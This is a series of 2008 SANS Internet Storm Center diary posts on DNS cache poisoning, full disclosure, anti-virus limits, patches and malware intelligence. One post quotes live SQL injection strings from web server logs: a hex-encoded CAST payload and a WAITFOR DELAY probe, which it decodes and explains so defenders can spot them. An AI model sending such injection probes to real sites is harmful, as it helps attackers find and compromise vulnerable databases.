Published: 2008-07-31

Is Anti-Virus Dead?

Each SANSFIRE, the Handlers who can make it to DC get together for a panel discussion on the state of information security. Besides discussion of the hot DNS issue, between most of us there is a large consensus into some of the biggest problems that we face.  Two come to mind, the fact that "users will click anything" and that "anti-virus is no longer sufficient".  These are actually both related in my mind.

Users will click anything

Some studies show that the success rate of a well-formatted phishing attempt can garner about a 10% click-through rate.  However, with targeting techniques, such as using what would be expected to be legitimate content in a phishing attempt this can go upwards of 80%.  An example, if you got a random PDF file from someone named "fbtgsertgrwetgfe" with the Subject "Angelina Jolie NEKKID!" you would most likely not click on the e-mail.  Even better, your anti-spam solution might even filter that message.  However, if you got a PDF file from your CEO with the subject "Important Changes to Health Care Plans", you would likely take a gander.  The better targeted a phishing attack, the more likely even savvy people get infected.  It isn't even necessarily targeting via email that can be widely successful.  How many of you add every facebook application that gets forwarded to you without even bothering to do any examination of the content?

However, the fundamental problem behind this isn't so much that users will click anything, but that whatever the user says goes.  Or, to put it another way, we tend to operate desktops under the principle of most privilege.  How many of you allow your users administrator rights in the workplace?  At home, everyone has local administrator.  This allows the "bad guys" free reign.  If you look at the development of the various phishing kits, they aren't really high tech.  For them, its lather, rinse, repeat all day long.  The real development of malware tends to be on the command & control side, the phishing kits, web sites and to a lesser extend, the droppers, don't seem to be evolving all that quickly.  They simply don't have to evolve fast, what they do keeps on working.

Is Anti-Virus Dead?

"I can't get infected by malware. I have anti-virus!" The absurdity of that statement needs no explanation at this point. This has led to people considering anti-virus a dead technology because it is always one-step behind attackers. This isn't necessarily untrue, but anti-virus by its very nature is reactive... it will only block against known threats.  Additionally, anti-virus signatures are essentially public. Any number of resources exist to scan your malware to see if it detects.  In short, you know ahead of time if you have the first ~24 hours of free reign.  If you target your attack, you can have far longer because you have a higher potential of floating under the radar and getting your bad bytes captures by the AV guys and/or security researchers like us.  AV, like all reactive technologies, suffers from the "First Win problem".  It isn't so much that they are "one-step behind"; it is that fundamentally it can never be ahead of the attackers.

Does that mean AV solutions should just be chucked?  Of course not.  AV is a "90% solution", it still does protect against known threats.  Is it sufficient?  No, but it also never has been sufficient.  Blocklisting technologies are far more effective when combined with whitelisting technologies.  For instance, the combination of AV protection with a good perimeter firewall brings you a little farther down the road of security.  While there is a debate on whitelisting vs. blocklisting technologies for binaries, a good step would be to start digitally signing binaries and go to a "bayesian" method of determining risk.  Not perfect, but better.  Heuristics would also be another good step (although heuristics is still basically a blocklisting technology and reactive).

What now?

So how do we protect ourselves from malware?  That's the million dollar question but here are some suggestions.  Please send in your feedback and we'll do a follow on post.

-- We need to shift our paradigm in what we protect.  We ought not to primarily be concerned with protecting "machines".  Machines are a means to an end, not an end in and of themselves.  We protect "information" not hardware.  For instance, we simply cannot protect consumer PCs.  They are inherently insecure and insecurable and it's fundamentally unsound and unfair to expect consumers to be able to harden their own machines.  We need to accommodate our electronic commerce to this fact.  For instance, we assume that the "cloud" of the Internet between point A and point B is insecure.  That is why we have things like VPNs; we simply bypass the problem with encryption.  The same should be true of consumer PCs; we need to find ways to do commerce on an insecure system so that information cannot be stolen... or at least enough information by which we can totally jack someone's identity.  The same is true on the corporate side... we don't protect hardware for the sake of protecting hardware.  We are securing intellectual property and in that sense, we need to "redraw" our perimeter around the logical information flows of confidential data.

-- As I mentioned before, digital signatures for binaries and "bayesian" style scoring for binaries/scripts.

-- Stop operating under a Principle of Most Privilege for the desktops.  In a corporate environment this is far easier.  A little more difficult in an academic environment (I've been party to debates in academia on why we can't do information security because it impedes academic freedom... luckily much of this has subsided, but still a problem).  It is a very difficult problem at home, but there are still some things that we can do and some things that operating systems shouldn't allow.

-- We've conditioned our users to operate their computers in a "button mash" method.  The infinite series of "Are you sure?" messages no longer mean anything, whether it's installing programs or getting AV warnings or pop-up windows.  The UI needs to stop the information spam to unsophisticated users because the overload causes people to shutdown their thought processes in looking at it and simply mash "Next... Next... Next...".

What else would you add?

John Bambenek
bambenek /at/ gmail /dot/ com




Published: 2008-07-31

Linus - Linux and Security - follow-up

As promised in an earlier diary, some follow-up with your comments.

By far the most comments we received spoke out either in favor or either against full-disclosure. Some selected comments:

  • Neal: "Unless you are doing a red-team audit, working exploits are never needed. I could build a bomb in my home to prove it can be done, but the actual construction is never needed. If your goal is only to explain that it is possible, then there is no need to do it. (At Defcon last year, one guy tried to explain why working exploits were needed. I told him to prove to me that gravity is dangerous -- go jump off a cliff.)"
  • Guy: "While full disclosure is far from perfect, it's the best solution in the absence of any alternative. For commercial vendors, it's often the only reason to quickly fix a security vulnerability (look at Microsoft's track record). It also protects the finder of the hole from being silenced instead of fixing the bug."
  • Joshua: "How are you going to get the full picture without exploit code, thinking the software manufacturers are going to release this information to security researches is naive. This is kind of like making bullet proof vests without ever firing a gun or testing it." To which one of the other handlers replied: "Yea but who is wearing the vest during testing? In the FD world those of us wearing a vest can be "test" shot by anyone since FD provides the guns and ammo."

I guess we'll not settle such wide diverging viewpoints on full disclosure anytime soon.

What stood out to me is that most of pro FD arguments are with issues vs. commercial and/or closed source software where the vendors are unwilling to admit to have sold highly broken products to the consumers at large. If you read back to the original subject, we were discussing Linux: open source and the community at large is the developer ...

About Linus' viewpoint to not provide any hint of a security bug aside of the fix itself in the source code, it stood out nobody spoke up to defend that viewpoint. On the contrary:

  • Alan: "Apparently those who develop code cannot be relied upon to provide the information needed by the public to manage their patch processes -- even for major open source projects."
  • Guy: "I do not believe that it is possible to keep security issues secret. Some attacker might find it during the time that it wasn't disclosed and exploit it on his own (or sell it)."
  • A reader wishing anonymity: "I am troubled by the security through obscurity approach Torvalds puts forward."

Similarly, I've seen little indication our readers think security bugs should treated just like ordinary bugs.

An important reminder came from Jos: "What exactly is a security bug? I think it's not only about unauthorized access, it's also every bug that could lead to data corruption or less availability of a time-critical application." Something we all need to agree to security is about managing risk to "CIA" Confidentiality, Integrity and Availability. Also somethign we all to often tend to know but not use in the way we speak about things.

  • Morten: "I think Aidan Thornton has an important point, although obvious in his own words. Bugs can hit you on three levels:
    1. You loose availability of your system (crash, just restart the program.)
    2. You loose data (silent data corruption, just use a backup, which you do of course have!)
    3. You loose your money!
    "Normal" bugs hit you on level 1 and possibly on level 2, security holes can hit you on *all* levels, so they ARE different, and need to be found, fixed and rolled out BEFORE they hit anyone. You can't just restart your money, or roll them back in from a backup (mmmmmm... 8-] if only...). Security bugs must be hunted actively, normal bugs you just catch in traps ...
  • Niel had an interesting observation: "[Security bugs are different from normal bugs] due to intent, but not due to the fundamental cause." This observation is very interesting in itself indeed as it can show a relationship between developers (who unwillingly create the bugs), QA who try to find bugs and security who extend the bugs towards motivation. In Niel's words:"There is a big difference between developers, quality assurance (software testers), and security people.
    • Developers may not think about how the code will be used beyond the specifications.
    • QA must think differently, to make sure the code does what it should do (alpha testing) and does not do what it shouldn't (beta testing). In addition, not every QA person does development.
    • Security people extend QA to motivation. "Security staff" are a special extension to QA and usually need to have developer skills in order to evaluate exploits, create solutions, and implement test cases. In this regard, security people ARE better than normal developers and QA because they must see a bigger picture and be able to react to it.
    NOTE: I never said that developers were not important, nor that QA was not important. Just as every automobile driver does not need to be a mechanic, every developer does not need to be a security expert or QA guru."
  • An anonymous reader wrote: "Security bugs ARE different.  They require faster and sometimes untested repairs."

Few responses focussed on finding a balance between full disclosure and obscurity, a notable exception was Morten:

"I have always upgraded my open source software/freeware as soon as I saw a newer version of it, important fixes or not (with a few exceptions), but I like to be given just some obscure reason like "Security bug fixed involving feature A used with feature B resulting in remote code execution or elevation of rights or ...", so I can make sure to upgrade to exactly this release, but I don't need to see POCs or exploits to be convinced. It is always a race, and I see no reason to change the rules of the game, before I have had a chance to enter the pit to change the tires as preparation to the new rules. Full disclosure, no thanks, just a rough summing up to tell normal bugs from security bugs."

I'd like to wrap up with a very important reminder from Jos that the business is what we're all about:

The main 'problem' I observe is that the discussions remain mainly on the tech side.
The main contributers to both the kernel and DNS discussion are technicians. The business side does not have a voice and therefore people don't consider the implications about their suggestions for the business.
What impact does Full Disclosure have on a company that does not have the resources to patch at will, but need several days or even weeks to fix?
Does it really matter if a bug is marked as generic or security from business perspective? How many companies have a dedicated 'security team' available to evaluate those kinds of bugs? And if they don't, how are they going to evaluate the bug and patch?
I don't believe in security by obscurity, but also don't believe that making every security leak visible helps.
Be honest, tell there is a problem in the software and indicate how much of a problem it is so business can determine the amount of effort they have to take to solve the problem. A label 'security patch' or the full details are not needed most of the time.

I like the need for an impact indication instead of labelling "Confdentiality" and "Integrity" problems as "security", but not doing so for "Availability" issues a lot!

Swa Frantzen -- Section 66


Published: 2008-07-30

DNS Cache Poisoning Issue Update

Ok, we have a confirmed instance where the DNS cache poisoning vulnerability was used to compromise a DNS server belonging to AT&T.  This PCWorld article covers the incident. The original article makes it sound as though the Metasploit site was 'owned' by this incident when really the issue was that the AT&T DNS server was compromised and was providing erroneous IP addresses to incoming queries.  This updated PCWorld article clarifies the first one.

Additional details can be found in this Metasploit blog post.

So we've moved from "the bad guys are out there" past "the invaders are at the gate" and on to "the bad guys are slipping inside".  If your organization has not yet patched your DNS servers (see here) , please do so now.

We may be raising our InfoSec status to yellow soon to help raise attention to the serious nature of this issue.


David Goldsmith


Published: 2008-07-30

McAfee SiteAdvisor says 'SANS, you are Bad!'

We've received reports from Nate and some others today that when they go to various SANS websites today, McAfee SiteAdvisor is showing a red status saying the site is 'bad'.

When we look at the site reports, giac.org and sans.edu are bad simply because they have links to the sans.org web site.  The sans.org web site is now considered bad because of two links in CVA newsletters that point to exploit samples on 3rd party web sites.

We have submitted a comment via the SiteAdvisor web site and are simply waiting to hear back if they change the site status in their database.

Same bat-time, same bat-channel.  Its still the SANS web site with the same content that has been there for quite some time.


David Goldsmith


Published: 2008-07-30

Serious 0-Day Flaw in Oracle -- Patch Released

Oracle has released an emergency security patch that corrects a 0-day flaw which is remotely exploitable without authentication.  This is a serious issue.

Oracle's security advisory can be found at the following link.  The advisory also contains recommendations for two  workarounds that you should implement to help mitigate the potential impact if you are not able to install the security patch right away:


More information about the issue can be found at:


Thanks to Frank for the heads-up.


David Goldsmith


Published: 2008-07-29

Google SSL cert expired for POP/IMAP users

Charlie gave us the heads-up on a slight problem for Google's mail service.  Their SSL certificate expired today affecting POP/IMAP users.  They expect to have it fixed soon - use the web interface in the meantime.  See this link for more information.


Published: 2008-07-29

Linus - Linux and Security

A thread among Linux supporters might be interesting to read. First a word of warning: it contains some bad words, so it might be good to abstain if your environment doesn't allow them. Anyway the thread is archived here.

My personal feelings:

  • Security bugs are different from normal bugs as they require security staff to respond to them. If we don't know the developers silently fixed security bugs, only our adversary might find them out and exploit them.
    If a linux kernel panics when a user uses the system, that's potentially a bad risk on availability, but the responsible(s) for risk and security might also be concerned about confidentiality and integrity in their environment and nobody but they would know what is more valuable to them and their organization. If we collectively put them in the dark, they'll have to choose blindly.
  • I'm sure we all feel our task is most important. Finance will feel that getting invoices paid is the most important thing, R&D will feel that without their products nothing would be there to invoice, support will feel that without them no customer would want to pay for the crap development crafted, ... we're all important parts of the machine to generate money, let's get over that and allow the others to do their part without crippling them.
  • I fully agree there is way too much media attention and fame involved with creating exploits, publicizing vulnerabilities, and the like.
    We've unfortunately a major circus starting soon in Las Vegas doing just that.
    I wonder when the first security researcher (should that not be insecurity researcher?) will hire a PR agency to help him make the discovery public most effectively. Or has that been done already, after all quite a few companies out there offer monetary incentive to be allowed to publish such research ...
  • Full Disclosure, including "weaponized" exploits is not what we need as defenders. In fact, it creates more victims in the short run. The long run is hard to predict, but I doubt it'll change much regarding the creation of an attitude to only release "bugfree" software.
  • Open source has a fundamental issue with security bugs. On one hand, the public availability of source documents the bug, even if it's not pointed out. On the other hand it's next to impossible to warn the defenders before the attackers of security bugs. Full Disclosure might be one of the more extreme solutions pushed by some. It seems Linus is pushing hard for the complete opposite: obscurity, which isn't a solution either.
    Hence we need a better balance.
    I like the OpenBSD solution a lot, but that's looking at track record in results, not at the method, which -I'll admit- is quite harsh if you're a developer from an alternate OS, nor the egos involved.

Let us know what you think, how you would balance the need, ... and in a few days I'll publish a follow-up diary [please keep it a bit more "G" rated than what Linus did]

Swa Frantzen -- Section 66


Published: 2008-07-27

Never disable your firewall, no matter how good it sounds

On a very slow rainy day here throughout the US (hitting both coasts today) I thought I'd share this tidbit of wisdom that we should never let go of: NEVER disable your home or personal firewalls, no matter the reason.  If there is a site that won't work because of your firewall, they need to figure out how to make it work for you.  It is the site that wants 'you' and 'your business' so they need to post instructions to aide in you safely and securely configuring your home and personal firewalls.  If they won't, do a bit of research, ask a friend, or ask a computer pro to assist with a packet capture and find out what needs to be done.  We here at the ISC are always willing to help with that sort of thing as well.  But please, please, *please* don't disable the firewall!




Published: 2008-07-27

Live from SANSFIRE

The jetlag caught up with me this morning and I almost didn't make it to class on time, although that could have something to do with the handler get together last night.

The handlers as you know are a group of volunteers from around the world.   What you probably don't know is that many of us have actually never met face to face.  We communicate daily with each other via email and IM, we regularly discuss ideas, etc, and over time you form a picture in your mind of what you think the person looks like.  Yesterday was the first time I met a number of the other handlers face to face.  Which was great.  There will be pictures available soon (just sorting out those that can be published and those that can't).

We've had a number of presentations over the last few days.  For those of you interested a number of them will be available on the site later in the week.   Maarten did a great presentation on targeted malware.  Lorna spoke on Malware and taking proactive steps on detecting malware.  Tom and Ed did a cool cold boot presentation and I spoke on common mistakes people make in their environment. 




Published: 2008-07-25

Recursive DNS Cache Auditing Resource

For those with a need, research described in Jose Avila's Recursive DNS Cache Auditing presentation is backed by the ONZRA security research tool CacheAudit v.01, see the Research folder at ONZRA for the CacheAudit download.

"CacheAudit is an open source aplication for monitoring the cache of a Recursive DNS server. It allows providers to detect and respond quickly to Cache Poisoning events".


Published: 2008-07-25

Apple also in the I of the DNS exploit storm

TiDBITS Writer Rich Mogull reports in his Safe Computing article how "Apple Fails to Patch Critical Exploited DNS Flaw".


Published: 2008-07-25

DNS bug - observations

Escalation imminent?

As indicated in earlier diary entries, an authoritative server sees queries from recursive servers for nonexistent names if their domain is being targeted by the latest DNS attack. They can't do much: all they can do is report them.

Yesterday Ray contacted us with logs from his authoritative DNS server indicating some ISPs servers in former USSR countries were being used in a very suspicious manner. The logs were somewhat sanitized, so we don't know the first thing about the domains that were targeted, but the logs had enough detail to identify that the pattern of randomness in the queries was different from any of the publicly known exploits.

So this can mean a lot of things, but the signs of either more development of attack tools, or of obfuscation of existing attack tools, or even somebody just exploring how hard it is to write it yourself is never going to be positive to the good guys.

Better get the patches in over the weekend if you still didn't.

Verify any firewall, NAT etc. you use doesn't undo what the patches provide.

If you use DNS servers from your ISP, validate they did patch them, if not use alternate servers such as those of OpenDNS.

The Bad Guys

But why would you write your own code as a bad guy?

  • Well there are a few trends they follow. One of them is to use drive-by attacks from hacked webservers and loading something on a webbrowser. Now imagine that client on your internal network querying your recursive "internal-only" DNS caches. Yep, next you know www.google.com or something similar points -company-wide- to an IP of those infecting your clients.
  • Bad guys today run botnets. If they can coordinate it well enough they can win the individual races much faster than the public tools do, giving them much less exposure to the authoritative DNS server operators (although I doubt they could care less)
  • ...

What's the motive of a bad guy to change where a site points to on a DNS caching server level?

  • As always: follow the money!
  • End users are notoriously good at clicking "next" without reading what's in the window they click away, they want it all to just work. They do that too for SSL certificate warnings, and hence expose themselves to man-in-the-middle attacks. So are the bad guys interested in diverting www.your-bank.com (or anything else they can scrape something off of they can use/sell) to their servers ? For all customers of a given ISP at once ?
  • What about advertising ? Instead of giving you a click-bot on a drive-by site, how about changing what ads are given to all customers of an ISP/ all users at a large company/... at once. They could simply replace all advertising of a given network to something where they get the revenue from instead of the publishers of the web sites that get visited.
  • ...

Don't worry, those interested in doing this know this, I'm not giving them any new ideas.


We're (not yet) on yellow for this, we lack some exploitation in the wild to do that. Moreover the trade press has been running this to boredom since last Black Tuesday.

What to patch?

  • All recursive DNS servers
  • DNS clients
  • NAT devices and firewalls if they undo the UDP source port randomization

Only non-recursive DNS servers are exempt from this need.


So is this bad: yes, it is unless your DNS clients, name-servers and the namesevers you forward to are up-to-date on patches as well as your NAT devices (routers, firewalls, ...) in between are confirmed not to undo the randomization of source ports.

The clock is ticking ... .

Swa Frantzen -- Section 66


Published: 2008-07-25

DNS developments

Security Blogs and E_News outlets are giving extended coverage of the DNS vulnerability exploit releases and we're receiving a few reports of attacks. The news that raised my eyebrows was The Register's article by Dan Goodin, "World's biggest ISPs drag feet on critical DNS patch".

And yesterday ( Thursday, 24 July 2008 ) Emerging Threats updated it's blog for it's DNS Poisoning Signature -  nice team work. Thanks Matt!


Published: 2008-07-24

DNS cache poisoning vulnerability details confirmed

A couple of the handlers tuned into the Blackhat "webinar" today.  The topic was Kaminsky's DNS vulnerability.  Here are some quick notes...

Dan Kaminsky confirmed the details about the vulnerability.  I think he was wanting to save the details until Blackhat, but since it got leaked and exploits have shown up in the last 24 hours, there doesn't seem to be much use in delaying any longer.  Dan seemed to confirm that the leaked blog entry and the latest Metasploit module have identified the vulnerability correctly.

In Kaminsky's tests, he was able to poison a nameserver cache in about 5-10 seconds.  This bug allows the attacker to overwrite entries that are already in the cache.

Nameservers that are authoritative only are not vulnerable.  But setting a high TTL for your hosts which you are authoritative won't help vulnerable resolvers from being poisoned.  This attack bypasses the TTL protections on vulnerable resolvers.

DNS client libraries (workstations and servers that resolve to upstream nameservers) need to be patched also.  The attacks still work against single unpatched hosts - but the priority should be your resolving nameservers.

Home firewall NAT devices are also proving to be vulnerable as many don't seem to randomize the source port.

If I heard correctly, Joao Damas from ISC (Internet Systems Consortium, maintainers of BIND) reports that he has seen attacks already in the wild for this vulnerability.


Published: 2008-07-24

Mozilla releases Thunderbrid, fixes security vulnerabilities

Mozilla yesterday released a new version of Thunderbird,, which fixes couple of security vulnerabilities, some of them even allowing remote code execution.

Full list of fixed vulnerabilities is available at http://www.mozilla.org/security/known-vulnerabilities/thunderbird20.html#thunderbird2.0.0.16

If you are running Thunderbird, make sure that you patched it.


Published: 2008-07-24

What's brewing in Danmec's pot?

Couple of readers wrote in to tell us about various different things they've noticed on their servers. While the attacks are "plain old" SQL injection attacks we've been writing multiple times about (see http://isc.sans.org/diary.html?storyid=4645) the latest development in those attacks definitely looks suspicious. Here's what's going on.

First of all, it appears that the attackers expanded their target list of applications so they try to attack Cold Fusion applications now as well (previously they tried to attack ASP scripts only). If you are running Cold Fusion applications, this should be a wake-up call for you – make sure that you are not vulnerable to SQL injection. If I remember correctly, Cold Fusion does have some built-in protection against SQL injection attacks but there are clearly cases when that does not work (otherwise the attackers would not be attacking it).

The logs to look for look like this:

GET /shared/cfm/image.cfm?id=125959';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C…)

Notice that they changed the CAST()-ed string as well so it's not Unicode any more (works fine with CAST), but I'll get back to that later.

The other attack we got information about actually looked more interesting. The log file submitted by couple of our readers contained the following SQL injection command:

declare @q varchar(8000) select @q = 0x57414954464F522044454C4159202730303A30303A323027 exec(@q) --

This caught our attention since the encoded part was much shorter than previously. Anyway, as this is plain hexadecimal, it's easy to decode this. Just take the part after 0x and pipe it to the following perl command:

$ echo "57414954464F522044454C4159202730303A30303A323027" | perl -pe 's/(..)/chr(hex($1))/ge'
WAITFOR DELAY '00:00:20'

Interesting! So they are issuing the WAITFOR DELAY command. For those of you not into SQL, the WAITFOR DELAY command simply blocks the execution of the command for the period of time specified after the DELAY keyword (20 seconds in this case).

So what does this do? It's actually a very common way that is used by hackers when they are exploiting blind SQL injection attacks. The idea is to create a condition that, if satisfied, will delay the execution of the script for a certain time period. So, the attacker watches the response time and if it was delayed, he knows that the SQL command was executed successfully.

Here we're not talking about the blind SQL injection, but just a way to check if the script is vulnerable to SQL injection in general. So, the bot issues this command and checks the response time: if the reply came immediately (or in couple of seconds, depending on the site/link speed) the site is not vulnerable. If the reply took 20 seconds then the site is vulnerable.

This gives them an easy way to detect vulnerable sites and (probably) create a list of such sites that they might attack directly in the future. And the site owner will not notice anything (unless he/she is checking the logs).

Something big coming? I guess we'll have to wait and see.

Thanks to Justin and Tony for sending reports.


Published: 2008-07-22

‘Cold Boot’ Attack Utility Tools

One of the researchers involved in the project has released the source code for the utilities. The utilities are used to lift crypto keys from memory even after a reboot. The source code was revealed at the 2600 Hackers on Planet Earth (HOPE) conference over the weekend. 

If you aren’t up-to-date on this interesting subject, here are the links to previous diary entries by Swa Frantzen back in February.
You can see the research paper, a video explanation and the utility source code here: http://citp.princeton.edu/memory/
Don’t forget that Ed Skoudis and Tom Liston are speaking on this very subject in relation to how this methodology can be applied to Pen Testing and forensics at SANSFIRE in DC this Friday night, July 25th. Their SANS@Night session starts at 7pm.   http://www.sans.org/sansfire08/night.php


Published: 2008-07-22

Dan Kaminsky's DNS bug: revealed? - Patch!

It seems the cat might be out of the bag regarding Dan Kaminsky's upcoming presentation at Blackhat.

Since this now means the bad guys have access to it at will -I found the speculations using Google, I'm sure they have done so already-, the urgency of patching your recursive DNS servers just increased significantly. There seems to be some effort underway to put the cat back in the bag, but I strongly doubt that'll work.

To describe it for defensive use by those operating recursive DNS servers: The descriptions I found would make you look for signs of attack using this technique in DNS queries for significant amounts of nonexistent subdomains that try to poision the parent using a glue record.
Those operating authoritative servers should be able to monitor for increased/excessive queries into nonexistent names from a single source, but there's little they can do beyond trying to warn the operator of the recursive server.

Since I wasn't briefed by Dan Kaminsky, I've no way of knowing if the theories that are out there are in fact what was going to be presented at Black Hat, so it might still be different.

Still, while fixing this might not be so trivial, an upgrade or patch of all recursive DNS servers is what's really needed at this point. So if you were still waiting for an excuse, this one is it: PATCH NOW.
Take care as performance issues exist in e.g. BIND with some of the patched versions, and e.g. ISP operated recursive servers do take quite a bit of load ...

Swa Frantzen -- Section 66


Published: 2008-07-21

Where does your network end?

One thing we pretty much all agree on is that the perimeter of our networks are expanding.  No longer is the border of the environment the corporate firewall.  The perimeter has been extended to portable devices,  employee homes,  the coffee shop in downtown Delhi, the processing centre in Chennai and of course the numerous third party connections that terminate somewhere in the network.  

One thing that is obvious when doing audits, there are precious few organisations that know the extent of their perimeter or have a good knowledge of the internal network.  Knowledge of which server does what is usually fairly good, but often you do hear the phrase “oh, I wonder where that come from”, or worse “I wonder where that line goes?” usually followed by “What’s that traffic”.  There are a surprising number of people that do not know all the servers connected to their network (especially internet facing ones), or all the links in to the network.  One of the worst examples I’ve come across was an organisation that had 8 links to other organisations with people connecting to a server in the middle of their network. Purpose?  Unknown.  The links had been in place for 5 years and most of the IT staff had rotated out of the area.  The bills were being paid monthly and because the cost was relatively low, nobody questioned the charges. 

Knowing what is in your network, who connects to it and how is essential in keeping a clean house.  Your perimeter has now extended through VPNs to employee homes.  How are they protected from the internet?  Are you providing them with a reasonable firewall? Taking care of malware for them?  How is the exec in the internet cafe in Delhi connecting to the network?  Is his password still his own?  The staff in the processing centre, are they vetted?  In your VPN solution, are you allowing all traffic to pass through to the internal network or are you doing the right thing and controlling the traffic that enters the network by VPN?  Third party connections, how are these managed?  Do you know who you connect to and where they are connected?  Is the traffic controlled or do they have full access to your network?  Mobile devices, laptops, phones, blackberries, Iphone, etc.  how are they secured?  What information is available on the devices? Is it encrypted?  Are they company owned or personal devices?  If personal how much control do you have over the devices? And the most important question that you will have to ask is “How do you know”.  How do you know that the measures you put in place are working?

I know we all already have a long list of things to do, but you might want to consider adding the following tasks:

  • identify and document third party connections
  • for all connections to the network identify the controls in place to manage traffic, malware and other nasties.
  • identify and document how staff connects
  • identify/develop relevant policies for the above

Where does your network end?

Mark H - Shearwater


Published: 2008-07-20

Denial of Service Attack Against Georgia-- Are You Participating?

Steven over at Shadowserver is reporting on a Distributed Denial of Service attack against the website of President Mikhail Saakashvili of Georgia (www.president.gov.ge)

Check your logs for activity heading towards the target www.president.gov.ge ( or the command and control server ( which may indicate that you have compromised systems on your network.


Published: 2008-07-20

Malware Intelligence: Making it Actionable

At the day job I have to read a lot of alerts and reports and studies and white-papers and blogs on viruses, worms, malicious websites, crimeware, spyware, adware, malware (oh my.)

The intent is to tease out the important little details so that I can provide the proper guidance the client.

Target Audiences

Anytime someone produces a document, they have a target audience in mind (although sometimes it feels like they’re not conscious of it.)

 Documents about malware often address one of the following groups:
  • IT Staff/Sysadmins/Operations
  • Malware Researchers
  • Management/Public
“Actionable Intelligence” means different things to these particular groups. For Management, they want to know things like:
  • Are we vulnerable to this?
  • Am I getting my money’s worth from what I’m spending on anti-malware measures?
On the other hand, Operations Groups need to know basically:
  • Are we exposed?
  • If so, what do we do about it?

Are We Exposed?

The answer to this question relies on the answers to a number of other questions:

  • What vulnerability does this exploit?
  • Does our AV detect or block this?
The first question needs to be answered by your intelligence source (even if it’s just google,) you need to know what vulnerability this threat exploits. Does it exploit an IE weakness that you already have patched? Then you’re not exposed (as much.) Does it rely on a user clicking and running something (aka CVE-1) then you have a certain level of exposure. Is it exploiting some unknown vulnerability in an application that you deploy? Then you’re going to have a long day.
The second question’s answer depends on your AV vendor. Do they provide easy and reliable answers to this question? If not, perhaps you need a chat with your vendor. In cases where you have a copy of the malware, this is a little easier—you just test it against your AV (just be careful kids.) When all you have are media reports—this is a lot harder (vendor’s take note here.)

What Do We Do About It?

This is really the meat of what Operations needs to know. 

  • Are there new AV signatures to deploy? 
  • Do Websites need to be blocked?
  • Are there IDS signatures to detect infected systems?
  • Can it be safely cleaned off of a system? Or does it need to be re-imaged?

Is Your Environment Perfect?

I don’t know about your network, but in mine, AV fails (malware generation is faster than signature deployment, AV isn’t installed everywhere,) Web proxy filters fail (malicious sites pop up faster than the filter DB gets deployed, people have laptops and don’t have this protection on the road,) and people click on things (especially before their morning cup of coffee.) So an additional question that the security operations group needs to have answered is: “How do we detect an infected/compromised machine?”

  • Does it connect out to a known Command and Control system?
  • Does it make known HTTP requests?
  • Does it advertise itself in the user-agent?
  • Does it scan for a particular port?
  • Does it generate P2P traffic?
  • Does it set up a backdoor listener?

Case Study: The SuperBowl Worm

In February 2007, I wrote up a simple little entry (http://isc.sans.org/diary.html?storyid=2151) on what was dubbed the ”SuperBowl” worm. It was a harbinger of things to come, warning of our current environment of widespread web-site defacements driving a victim to a malicious website.

With that article, I hope that helped to satisfy the important questions, namely:

  • What vulnerability is exploited? MS06-014 and MS07-004
  • What does it do your system? It attempts to install www.exe on the victim machine
  • We provided links to IDS alerts
  • We briefly mentioned AV coverage (my work left a lot to be desired in this instance.)

Now, for the back story. At the day job this was getting a lot of managerial attention—mainly of the “What are we doing about it?” variety. We had good information on how to identify a malicious website, and matching that against our web proxy logs, we had very good information on how many systems were exposed. What we were lacking was a good signature for a successful exploit. In this instance we chose with the “better safe than sorry approach” and opened up tickets on everyone who visited a malicious website. This sent a technician out to each machine to check that it was patched properly, the AV was running properly and re-image the system if anything was out of line. 

The down-stream operations groups were not pleased.
The embarrassing part (and there are few better teachers than public humiliation) is that when a good signature to identify a successfully exploited system did become available. The number of real incidents was more like 1% of the exposed systems.

We’ve adjusted our response process a bit, and now “remember the Superbowl” is often uttered when trying to temper down mid-incident excitement.

In this case, we could have waited a bit to generate a better list of infected machines—especially with the hindsight that the malware’s intent was to steal gaming passwords—not targeting all passwords.

Case Study: Coreflood

In June 2008, Deb mentions a Coreflood outbreak (http://isc.sans.org/diary.html?storyid=4624) She mentions that the malware was delivered via a malicious website and goes on to describe how it uses psexec and domain privileges to infect other machines in the domain.  There’s also a note of how McAfee and Norton are detecting it. Not too bad, but keep in mind that we’re not claiming to be your one-stop malware intelligence source. 

Let’s look at what Joe Stewart released two days later: http://www.secureworks.com/research/threats/coreflood

It has a few more answers in it. I can’t answer all of the basic questions yet, but I can make some assumptions. Of importance is the statement: “At current, the known controller domains are mcupdate.net, joy4host.com and antrexhost.com.” This is something that I can use, I can detect infected systems within our network and respond. Happily I’m able to report that we haven’t found any (yet) at the day job.

Case Study: W32/Agent-FUVR

I received a query this week about an outbreak in Indonesia of W32/Agent-FUVR.  It was along the lines of: “A Customer is concerned about W32/Agent-FUVR and wants to know what we’re doing about it.”

Initially, I had to ask myself: “What is W32/Agent-FUVR?”  I had to google it.  Hoping that I’d find a virustotal result that would translate W32/Agent-FUVR into what other AV tools were identifying it as.  From the results (and making some possibly dangerous assumptions) I see that Norman uses the W32/Agent.FUVR nomenclature (which is a bit different from that used in the original email—so I’m little nervous.)

The provided copy/paste of the news article says that it’s targeting Indonesia.  Googling turns up a definite pattern of analyses hosted in the .id domain.  I can read bits and pieces of them.  Enough to gather that it uses Yahoo! IM messages to convince users to click.  From this can I guide the client a little bit on their potential exposure. 

Using the virustotal results as a kind of Rosetta stone to translate W32/Agent-FUVR into what the client’s AV vendor calls it, reveals only a generic signature.  The good news is that I can tell the client that they’ve had coverage for this since at least June 15th (based on when the virustotal report was created.)  So I can tell them that they’re (reasonably) covered from an AV signature standpoint.

I still couldn’t tell you what the intent of the malware is at this point—nor do I have a good signature to detect if an infected machine was brought into their environment.  But it’s not a perfect world, and you don’t win them all. 

The Ignored Target Audience

What I rarely see are efforts to identify the individuals and groups behind the malware that we deal with.  Obviously such investigations need to be kept quiet, but one would hope that there would be more reports of arrests, or we wouldn’t have bot-nets that have been in the media spotlight for long periods of time.  If you have information that would help such an investigation, but don’t know who to report it to or how, please contact us.

The Ideal Intelligence Source

The ideal malware intelligence source would tell you:
  • What vulnerability the malware exploits
  • What the malware does to the system
  • What the malware’s intent is
  • Who is behind it

A source that provides all of that information would be able to answer nearly all of the relevant questions that Operations, Management, and Law Enforcement have. Malware Researchers: I’m afraid that you’re on your own. It’s up to you in your labs with your debuggers digging into it yourselves. I’m fairly certain that you wouldn’t have it any other way.


Published: 2008-07-19

A twist in fluxnet operations. Enter Hydraflux

William, one of the other handlers, has been working on something a bit different.  Like all of the handlers he has a lot on his plate so he hasn't had a chance to write things up, here is a little taste from Williams paper on something he has dubbed Hydraflux.

